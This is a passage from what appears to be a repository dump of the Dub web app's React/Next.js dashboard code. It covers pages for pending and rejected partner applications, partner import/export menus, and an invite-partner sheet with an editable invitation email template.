    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ApplicationsMenu } from \"./applications-menu\";\nimport { ProgramPartnersApplicationsPageClient } from \"./page-client\";\n\nexport default function ProgramPartnersApplications() {\n  return (\n    <PageContent\n      title=\"Applications\"\n      titleInfo={{\n        title:\n          \"Learn how to manage your pending applications, and to bring the best partners to your program.\",\n        href: \"https://dub.co/help/article/program-applications\",\n      }}\n      controls={<ApplicationsMenu />}\n    >\n      <PageWidthWrapper>\n        <ProgramPartnersApplicationsPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/applications/rejected/page-client.tsx",
    "content": "\"use client\";\n\nimport { approvePartnerAction } from \"@/lib/actions/partners/approve-partner\";\nimport { buildSocialPlatformLookup } from \"@/lib/social-utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport usePartner from \"@/lib/swr/use-partner\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps, PartnerPlatformProps } from \"@/lib/types\";\nimport { useConfirmModal } from \"@/ui/modals/confirm-modal\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerApplicationSheet } from \"@/ui/partners/partner-application-sheet\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { PartnerSocialColumn } from \"@/ui/partners/partner-social-column\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  EditColumnsButton,\n  Filter,\n  MenuItem,\n  Popover,\n  Table,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Check, Dots, LoadingSpinner, Users } from \"@dub/ui/icons\";\nimport { COUNTRIES, fetcher, formatDate } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { usePartnerFilters } from \"../../use-partner-filters\";\n\nconst applicationsColumns = {\n  all: [\n    \"partner\",\n    \"createdAt\",\n    \"location\",\n    \"website\",\n    \"youtube\",\n    \"twitter\",\n    \"linkedin\",\n    \"instagram\",\n    \"tiktok\",\n  ],\n  defaultVisible: [\n    \"partner\",\n    \"createdAt\",\n    \"location\",\n    \"website\",\n    \"youtube\",\n    \"linkedin\",\n  ],\n};\n\nexport function ProgramPartnersRejectedApplicationsPageClient() {\n  const { id: workspaceId } = useWorkspace();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  const search = searchParams.get(\"search\");\n  const sortBy = searchParams.get(\"sortBy\") || \"createdAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  } = usePartnerFilters({ sortBy, sortOrder, status: \"rejected\" }, [\"country\"]);\n\n  const { partnersCount, error: countError } = usePartnersCount<number>({\n    status: \"rejected\",\n  });\n\n  const {\n    data: partners,\n    error,\n    isValidating,\n  } = useSWR<EnrolledPartnerProps[]>(\n    `/api/partners${getQueryString(\n      {\n        workspaceId,\n        status: \"rejected\",\n        sortBy,\n        sortOrder,\n        includePartnerPlatformPropss: true,\n      },\n      { exclude: [\"partnerId\"] },\n    )}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      revalidateOnFocus: false,\n    },\n  );\n\n  const { groups } = useGroups();\n\n  // Create a separate map for platform lookups by partner ID\n  const platformsMapByPartnerId = useMemo(() => {\n    const map = new Map<\n      string,\n      Record<PlatformType, PartnerPlatformProps | null>\n    >();\n\n    partners?.forEach((partner) => {\n      if (partner.platforms) {\n        map.set(partner.id, buildSocialPlatformLookup(partner.platforms));\n      }\n    });\n    return map;\n  }, [partners]);\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    | { open: false; partnerId: string | null }\n    | { open: true; partnerId: string }\n  >({ open: false, partnerId: null });\n\n  useEffect(() => {\n    const partnerId = searchParams.get(\"partnerId\");\n    if (partnerId) setDetailsSheetState({ open: true, partnerId });\n  }, [searchParams]);\n\n  const { currentPartner, isLoading: isCurrentPartnerLoading } =\n    useCurrentPartner({\n      partners,\n      partnerId: detailsSheetState.partnerId,\n    });\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"applications-table-columns\",\n    applicationsColumns,\n  );\n\n  const { pagination, setPagination } = usePagination();\n\n  const columns = useMemo(\n    () => [\n      {\n        id: \"partner\",\n        header: \"Applicant\",\n        enableHiding: false,\n        minSize: 250,\n        cell: ({ row }) => {\n          return (\n            <PartnerRowItem\n              partner={row.original}\n              showPermalink={false}\n              showFraudIndicator={false}\n            />\n          );\n        },\n      },\n      {\n        id: \"createdAt\",\n        header: \"Applied\",\n        accessorFn: (d) => formatDate(d.createdAt, { month: \"short\" }),\n      },\n      {\n        id: \"group\",\n        header: \"Group\",\n        enableHiding: false,\n        minSize: 150,\n        cell: ({ row }) => {\n          if (!groups || !row.original.groupId) {\n            return \"-\";\n          }\n\n          const partnerGroup = groups.find(\n            (g) => g.id === row.original.groupId,\n          );\n\n          if (!partnerGroup) {\n            return \"-\";\n          }\n\n          return (\n            <div className=\"flex items-center gap-2\">\n              <GroupColorCircle group={partnerGroup} />\n              <span className=\"truncate text-sm font-medium\">\n                {partnerGroup.name}\n              </span>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"location\",\n        header: \"Location\",\n        minSize: 150,\n        cell: ({ row }) => {\n          const country = row.original.country;\n          return (\n            <div className=\"flex items-center gap-2\">\n              {country && (\n                <img\n                  alt={`${country} flag`}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              )}\n              <span className=\"min-w-0 truncate\">\n                {(country ? COUNTRIES[country] : null) ?? \"-\"}\n              </span>\n            </div>\n          );\n        },\n      },\n      // Socials\n      {\n        id: \"website\",\n        header: \"Website\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.website}\n              platformName=\"website\"\n            />\n          );\n        },\n      },\n      {\n        id: \"youtube\",\n        header: \"YouTube\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.youtube}\n              platformName=\"youtube\"\n            />\n          );\n        },\n      },\n      {\n        id: \"twitter\",\n        header: \"X/Twitter\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.twitter}\n              platformName=\"twitter\"\n            />\n          );\n        },\n      },\n      {\n        id: \"linkedin\",\n        header: \"LinkedIn\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.linkedin}\n              platformName=\"linkedin\"\n            />\n          );\n        },\n      },\n      {\n        id: \"instagram\",\n        header: \"Instagram\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.instagram}\n              platformName=\"instagram\"\n            />\n          );\n        },\n      },\n      {\n        id: \"tiktok\",\n        header: \"TikTok\",\n        minSize: 150,\n        cell: ({ row }: { row: Row<EnrolledPartnerProps> }) => {\n          const platformsMap = platformsMapByPartnerId.get(row.original.id);\n\n          return (\n            <PartnerSocialColumn\n              platform={platformsMap?.tiktok}\n              platformName=\"tiktok\"\n            />\n          );\n        },\n      },\n\n      // Menu\n      {\n        id: \"menu\",\n        enableHiding: false,\n        header: ({ table }) => <EditColumnsButton table={table} />,\n        cell: ({ row }) => (\n          <PartnerRowMenuButton row={row} workspaceId={workspaceId!} />\n        ),\n      },\n    ],\n    [workspaceId, groups, platformsMapByPartnerId],\n  );\n\n  const { table, ...tableProps } = useTable<EnrolledPartnerProps>({\n    data: partners || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row) => {\n      queryParams({\n        set: {\n          partnerId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\"createdAt\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `application${p ? \"s\" : \"\"}`,\n    rowCount: partnersCount || 0,\n    loading: isValidating || isCurrentPartnerLoading,\n    error: error || countError ? \"Failed to load applications\" : undefined,\n  });\n\n  const [previousPartnerId, nextPartnerId] = useMemo(() => {\n    if (!partners || !detailsSheetState.partnerId) return [null, null];\n\n    const currentIndex = partners.findIndex(\n      ({ id }) => id === detailsSheetState.partnerId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? partners[currentIndex - 1].id : null,\n      currentIndex < partners.length - 1 ? partners[currentIndex + 1].id : null,\n    ];\n  }, [partners, detailsSheetState.partnerId]);\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {detailsSheetState.partnerId && currentPartner && (\n        <PartnerApplicationSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          partner={currentPartner}\n          onPrevious={\n            previousPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: previousPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n          onNext={\n            nextPartnerId\n              ? () =>\n                  queryParams({\n                    set: { partnerId: nextPartnerId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n        />\n      )}\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by name, email, or company\"\n            inputClassName=\"md:w-80\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {partners?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No rejected applications found\"\n          description={`No rejected applications found${isFiltered || search ? \" for the selected filters\" : \" for this program\"}.`}\n          cardContent={() => (\n            <>\n              <Users className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction PartnerRowMenuButton({\n  row,\n  workspaceId,\n}: {\n  row: Row<EnrolledPartnerProps>;\n  workspaceId: string;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { executeAsync: approvePartner, isPending: isApprovingPartner } =\n    useAction(approvePartnerAction, {\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n      onSuccess: () => {\n        toast.success(\"Partner application approved\");\n        mutatePrefix([\"/api/partners\", \"/api/partners/count\"]);\n      },\n    });\n\n  const {\n    setShowConfirmModal: setShowApproveModal,\n    confirmModal: approveModal,\n  } = useConfirmModal({\n    title: \"Approve Application\",\n    description: \"Are you sure you want to approve this application?\",\n    confirmText: \"Approve\",\n    onConfirm: async () => {\n      await approvePartner({\n        workspaceId: workspaceId!,\n        partnerId: row.original.id,\n      });\n    },\n  });\n\n  return (\n    <>\n      {approveModal}\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"flex w-screen flex-col gap-1 p-1 text-sm sm:w-auto sm:min-w-[130px]\">\n              <MenuItem\n                as={Command.Item}\n                icon={Check}\n                onSelect={() => {\n                  setIsOpen(false);\n                  setShowApproveModal(true);\n                }}\n              >\n                Approve partner\n              </MenuItem>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"size-8 shrink-0 whitespace-nowrap rounded-lg p-0\"\n          variant=\"outline\"\n          icon={\n            isApprovingPartner ? (\n              <LoadingSpinner className=\"size-4 shrink-0\" />\n            ) : (\n              <Dots className=\"size-4 shrink-0\" />\n            )\n          }\n        />\n      </Popover>\n    </>\n  );\n}\n\n/** Gets the current partner from the loaded partners array if available, or a separate fetch if not */\nfunction useCurrentPartner({\n  partners,\n  partnerId,\n}: {\n  partners?: EnrolledPartnerProps[];\n  partnerId: string | null;\n}) {\n  let currentPartner = partnerId\n    ? partners?.find(({ id }) => id === partnerId)\n    : null;\n\n  const { partner: fetchedPartner, loading: isLoading } = usePartner(\n    {\n      partnerId: partners && partnerId && !currentPartner ? partnerId : null,\n    },\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  if (!currentPartner && fetchedPartner?.id === partnerId) {\n    currentPartner = fetchedPartner;\n  }\n\n  return { currentPartner, isLoading };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/applications/rejected/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramPartnersRejectedApplicationsPageClient } from \"./page-client\";\n\nexport default async function ProgramPartnersRejectedApplications(props: {\n  params: Promise<{ slug: string }>;\n}) {\n  const params = await props.params;\n  return (\n    <PageContent\n      title=\"Rejected applications\"\n      titleBackHref={`/${params.slug}/program/partners/applications`}\n    >\n      <PageWidthWrapper>\n        <ProgramPartnersRejectedApplicationsPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/import-export-buttons.tsx",
    "content": "\"use client\";\n\nimport { PROGRAM_IMPORT_SOURCES } from \"@/lib/constants/program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useExportPartnersModal } from \"@/ui/modals/export-partners-modal\";\nimport { useImportFirstPromoterModal } from \"@/ui/modals/import-firstpromoter-modal\";\nimport { useImportPartnerStackModal } from \"@/ui/modals/import-partnerstack-modal\";\nimport { useImportRewardfulModal } from \"@/ui/modals/import-rewardful-modal\";\nimport { useImportToltModal } from \"@/ui/modals/import-tolt-modal\";\nimport { Download, ThreeDots } from \"@/ui/shared/icons\";\nimport { Button, IconMenu, Popover } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport { ReactNode, useState } from \"react\";\n\nexport function ImportExportButtons() {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { ImportToltModal } = useImportToltModal();\n  const { ImportRewardfulModal } = useImportRewardfulModal();\n  const { ImportPartnerStackModal } = useImportPartnerStackModal();\n  const { ImportFirstPromoterModal } = useImportFirstPromoterModal();\n\n  const { ExportPartnersModal, setShowExportPartnersModal } =\n    useExportPartnersModal();\n\n  return (\n    <>\n      <ImportToltModal />\n      <ImportRewardfulModal />\n      <ImportFirstPromoterModal />\n      <ImportPartnerStackModal />\n      <ExportPartnersModal />\n      <Popover\n        content={\n          <div className=\"w-full md:w-[16rem]\">\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Import Partners\n              </p>\n\n              {PROGRAM_IMPORT_SOURCES.map((source) => (\n                <ImportOption\n                  key={source.id}\n                  onClick={() => {\n                    setOpenPopover(false);\n                    router.push(\n                      `/${slug}/program/partners?import=${source.id}`,\n                    );\n                  }}\n                >\n                  <IconMenu\n                    text={`Import from ${source.value}`}\n                    icon={\n                      <img\n                        src={source.image}\n                        alt={`${source.value} logo`}\n                        className=\"h-4 w-4\"\n                      />\n                    }\n                  />\n                </ImportOption>\n              ))}\n            </div>\n\n            <div className=\"border-t border-neutral-200\" />\n\n            <div className=\"grid gap-px p-2\">\n              <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                Export Partners\n              </p>\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowExportPartnersModal(true);\n                }}\n                className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n              >\n                <IconMenu\n                  text=\"Export as CSV\"\n                  icon={<Download className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n          </div>\n        }\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n        align=\"end\"\n      >\n        <Button\n          onClick={() => setOpenPopover(!openPopover)}\n          variant=\"secondary\"\n          className=\"h-8 w-auto px-1.5 sm:h-9\"\n          icon={<ThreeDots className=\"size-4 text-neutral-500\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction ImportOption({\n  children,\n  onClick,\n}: {\n  children: ReactNode;\n  onClick: () => void;\n}) {\n  return (\n    <button\n      onClick={onClick}\n      className=\"w-full rounded-md p-2 hover:bg-neutral-100 active:bg-neutral-200\"\n    >\n      {children}\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/invite-partner-button.tsx",
    "content": "\"use client\";\n\nimport { Button, useKeyboardShortcut, useMediaQuery } from \"@dub/ui\";\nimport { useInvitePartnerSheet } from \"./invite-partner-sheet\";\n\nexport function InvitePartnerButton() {\n  const { isMobile } = useMediaQuery();\n  const { invitePartnerSheet, setIsOpen: setShowInvitePartnerSheet } =\n    useInvitePartnerSheet();\n\n  useKeyboardShortcut(\"p\", () => setShowInvitePartnerSheet(true));\n\n  return (\n    <>\n      {invitePartnerSheet}\n      <Button\n        type=\"button\"\n        onClick={() => setShowInvitePartnerSheet(true)}\n        text={`Invite${isMobile ? \"\" : \" partner\"}`}\n        shortcut=\"P\"\n        className=\"h-8 px-3 sm:h-9\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/invite-partner-sheet.tsx",
    "content": "import { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { bulkInvitePartnersAction } from \"@/lib/actions/partners/bulk-invite-partners\";\nimport { invitePartnerAction } from \"@/lib/actions/partners/invite-partner\";\nimport { saveInviteEmailDataAction } from \"@/lib/actions/partners/save-invite-email-data\";\nimport { MAX_PARTNERS_INVITES_PER_REQUEST } from \"@/lib/constants/program\";\nimport { useEmailDomains } from \"@/lib/swr/use-email-domains\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramInviteEmailData, ProgramProps } from \"@/lib/types\";\nimport {\n  bulkInvitePartnersSchema,\n  invitePartnerSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { GroupSelector } from \"@/ui/partners/groups/group-selector\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  AnimatedSizeContainer,\n  BlurImage,\n  Button,\n  InfoTooltip,\n  MultiValueInput,\n  type MultiValueInputRef,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  Sheet,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\ninterface InvitePartnerSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n}\n\ntype InvitePartnerFormData = {\n  email: string;\n  emails: string[];\n  name?: string;\n  username?: string;\n  groupId: string | null;\n};\n\ntype EmailContent = {\n  subject: string;\n  title: string;\n  body: string;\n};\n\nfunction InvitePartnerSheetContent({ setIsOpen }: InvitePartnerSheetProps) {\n  const { program, mutate } = useProgram<\n    ProgramProps & { inviteEmailData: ProgramInviteEmailData }\n  >(undefined, {\n    keepPreviousData: true, // so the mutate doesn't cause a full page refresh\n  });\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId } = useWorkspace();\n\n  // Default email content\n  const defaultEmailContent = useMemo<EmailContent>(() => {\n    const programName = program?.name || \"Dub\";\n    return {\n      subject: `${programName} invited you to join Dub Partners`,\n      title: \"You've been invited\",\n      body: `${programName} invited you to join their program on Dub Partners.\\n\\n${programName} uses [Dub Partners](https://dub.co/partners) to power their partner program and wants to work with great people like you!`,\n    };\n  }, [program?.name]);\n\n  // Load saved email content from program\n  const savedEmailContent = useMemo<EmailContent | null>(() => {\n    if (program?.inviteEmailData) {\n      return {\n        subject: program.inviteEmailData.subject,\n        title: program.inviteEmailData.title,\n        body: program.inviteEmailData.body,\n      };\n    }\n    return null;\n  }, [program?.inviteEmailData]);\n\n  // State for email editing\n  const [isEditingEmail, setIsEditingEmail] = useState(false);\n  const [emailContent, setEmailContent] = useState<EmailContent | null>(\n    savedEmailContent,\n  );\n  const [draftEmailContent, setDraftEmailContent] = useState<EmailContent>(\n    savedEmailContent || defaultEmailContent,\n  );\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isSubmitting, isSubmitSuccessful },\n    watch,\n    setValue,\n  } = useForm<InvitePartnerFormData>({\n    defaultValues: {\n      email: \"\",\n      emails: [],\n      groupId: program?.defaultGroupId || \"\",\n    },\n  });\n\n  const multiValueInputRef = useRef<MultiValueInputRef>(null);\n  const emails = watch(\"emails\") ?? [];\n  const hasMultipleRecipients = emails.length > 1;\n\n  const { executeAsync: invitePartner, isPending } = useAction(\n    invitePartnerAction,\n    {\n      onSuccess: () => {\n        toast.success(\"Invitation sent to partner!\");\n        setIsOpen(false);\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    },\n  );\n\n  const { executeAsync: bulkInvitePartners, isPending: isBulkPending } =\n    useAction(bulkInvitePartnersAction, {\n      onSuccess: ({ data: { invitedCount, skippedCount } }) => {\n        const parts: string[] = [];\n\n        if (invitedCount > 0) {\n          parts.push(\n            `${pluralize(\"Invitation\", invitedCount)} sent to ${invitedCount} ${pluralize(\"partner\", invitedCount)}.`,\n          );\n        }\n\n        if (skippedCount > 0) {\n          parts.push(\n            `Skipped ${skippedCount} ${pluralize(\"partner\", skippedCount)} because they're already enrolled or previously invited.`,\n          );\n        }\n\n        toast.success(parts.join(\" \"));\n        setIsOpen(false);\n      },\n      onError({ error }) {\n        toast.error(error.serverError);\n      },\n    });\n\n  const { executeAsync: saveEmailDataAsync, isPending: isSavingEmailData } =\n    useAction(saveInviteEmailDataAction, {\n      onSuccess: async ({ input }) => {\n        toast.success(\"Email template saved!\");\n\n        // Update local state with saved content\n        const updatedContent: EmailContent = {\n          subject: input.subject,\n          title: input.title,\n          body: input.body,\n        };\n        setEmailContent(updatedContent);\n        setDraftEmailContent(updatedContent);\n        setIsEditingEmail(false);\n      },\n      onError({ error }) {\n        toast.error(parseActionError(error, \"Failed to save email template\"));\n      },\n    });\n\n  const onSubmit = async (data: InvitePartnerFormData) => {\n    if (!workspaceId || !program?.id) {\n      return;\n    }\n\n    const finalEmails =\n      multiValueInputRef.current?.commitPendingInput() ?? data.emails ?? [];\n\n    if (finalEmails.length === 0) {\n      toast.error(\"Please enter at least one email address.\");\n      return;\n    }\n\n    if (finalEmails.length === 1) {\n      const parsed = invitePartnerSchema.safeParse({\n        workspaceId,\n        email: finalEmails[0],\n        name: data.name,\n        username: data.username,\n        groupId: data.groupId ?? null,\n      });\n\n      if (!parsed.success) {\n        toast.error(parsed.error.issues[0]?.message ?? \"Invalid input\");\n        return;\n      }\n\n      await invitePartner(parsed.data);\n      return;\n    }\n\n    const parsed = bulkInvitePartnersSchema.safeParse({\n      workspaceId,\n      emails: finalEmails,\n      groupId: data.groupId ?? null,\n    });\n\n    if (!parsed.success) {\n      toast.error(parsed.error.issues[0]?.message ?? \"Invalid input\");\n      return;\n    }\n\n    await bulkInvitePartners(parsed.data);\n  };\n\n  const handleStartEditing = () => {\n    setDraftEmailContent(emailContent || defaultEmailContent);\n    setIsEditingEmail(true);\n  };\n\n  const handleSaveEmail = async () => {\n    if (!workspaceId) {\n      return;\n    }\n\n    const sanitizedSubject = draftEmailContent.subject.trim();\n    const sanitizedTitle = draftEmailContent.title.trim();\n    let sanitizedBody = draftEmailContent.body.trim();\n\n    // Enforce max length validation (matches schema)\n    if (sanitizedBody.length > 3000) {\n      sanitizedBody = sanitizedBody.substring(0, 3000);\n      toast.error(\"Email body was truncated to 3000 characters\");\n    }\n\n    const updatedContent: EmailContent = {\n      subject: sanitizedSubject || defaultEmailContent.subject,\n      title: sanitizedTitle || defaultEmailContent.title,\n      body: sanitizedBody || defaultEmailContent.body,\n    };\n\n    // Ensure all values are non-empty (schema requirement)\n    const finalSubject =\n      updatedContent.subject.trim() || defaultEmailContent.subject;\n    const finalTitle = updatedContent.title.trim() || defaultEmailContent.title;\n    const finalBody = updatedContent.body.trim() || defaultEmailContent.body;\n\n    // Save to server (state updates happen in onSuccess callback)\n    await saveEmailDataAsync({\n      workspaceId,\n      subject: finalSubject,\n      title: finalTitle,\n      body: finalBody,\n    });\n    await mutate();\n  };\n\n  const handleCancelEditing = () => {\n    setDraftEmailContent(emailContent || defaultEmailContent);\n    setIsEditingEmail(false);\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"flex items-center gap-1 text-lg font-semibold\">\n            Invite partner{\" \"}\n            <InfoTooltip\n              content={\n                \"Invite influencers, affiliates, and users to your program, or enroll them automatically. [Learn more.](https://dub.co/help/article/inviting-partners)\"\n              }\n            />\n          </Sheet.Title>\n          <Sheet.Close asChild>\n            <Button\n              variant=\"outline\"\n              icon={<X className=\"size-5\" />}\n              className=\"h-auto w-fit p-1\"\n            />\n          </Sheet.Close>\n        </div>\n      </div>\n\n      <div className=\"flex-1 overflow-y-auto\">\n        <div className=\"p-6\">\n          <div className=\"grid grid-cols-1 gap-6\">\n            <div>\n              <label\n                htmlFor=\"partner-email-input\"\n                className=\"block text-sm font-medium text-neutral-900\"\n              >\n                Email\n              </label>\n\n              <div className=\"mt-2\">\n                <MultiValueInput\n                  ref={multiValueInputRef}\n                  id=\"partner-email-input\"\n                  values={emails}\n                  onChange={(values) => {\n                    setValue(\"emails\", values, {\n                      shouldDirty: true,\n                      shouldValidate: true,\n                    });\n                    setValue(\"email\", values[0] ?? \"\", {\n                      shouldDirty: true,\n                      shouldValidate: true,\n                    });\n                  }}\n                  placeholder=\"panic@thedis.co\"\n                  normalize={(v) => v.trim().toLowerCase()}\n                  maxValues={MAX_PARTNERS_INVITES_PER_REQUEST}\n                  disabled={isEditingEmail || isSavingEmailData}\n                  autoFocus={!isMobile}\n                />\n              </div>\n              <p className=\"mt-2 text-xs text-neutral-500\">\n                Separate multiple emails with commas, or paste a list\n              </p>\n            </div>\n\n            <div>\n              <AnimatedSizeContainer\n                height\n                className=\"overflow-visible\"\n                transition={{ ease: \"easeOut\", duration: 0.35 }}\n              >\n                {!hasMultipleRecipients && (\n                  <div className=\"grid grid-cols-1 gap-6 pb-6\">\n                    <div>\n                      <label\n                        htmlFor=\"name\"\n                        className=\"block text-sm font-medium text-neutral-900\"\n                      >\n                        Name{\" \"}\n                        <span className=\"text-neutral-500\">(optional)</span>\n                      </label>\n\n                      <div className=\"relative mt-2 rounded-md shadow-sm\">\n                        <input\n                          {...register(\"name\")}\n                          className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                          placeholder=\"John Doe\"\n                          type=\"text\"\n                          autoComplete=\"off\"\n                        />\n                      </div>\n                    </div>\n\n                    <div>\n                      <div className=\"flex items-center gap-2\">\n                        <label\n                          htmlFor=\"username\"\n                          className=\"block text-sm font-medium text-neutral-900\"\n                        >\n                          Short link{\" \"}\n                          <span className=\"text-neutral-500\">(optional)</span>\n                        </label>\n                      </div>\n\n                      <div className=\"mt-2 flex\">\n                        <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm\">\n                          {program?.domain}\n                        </span>\n                        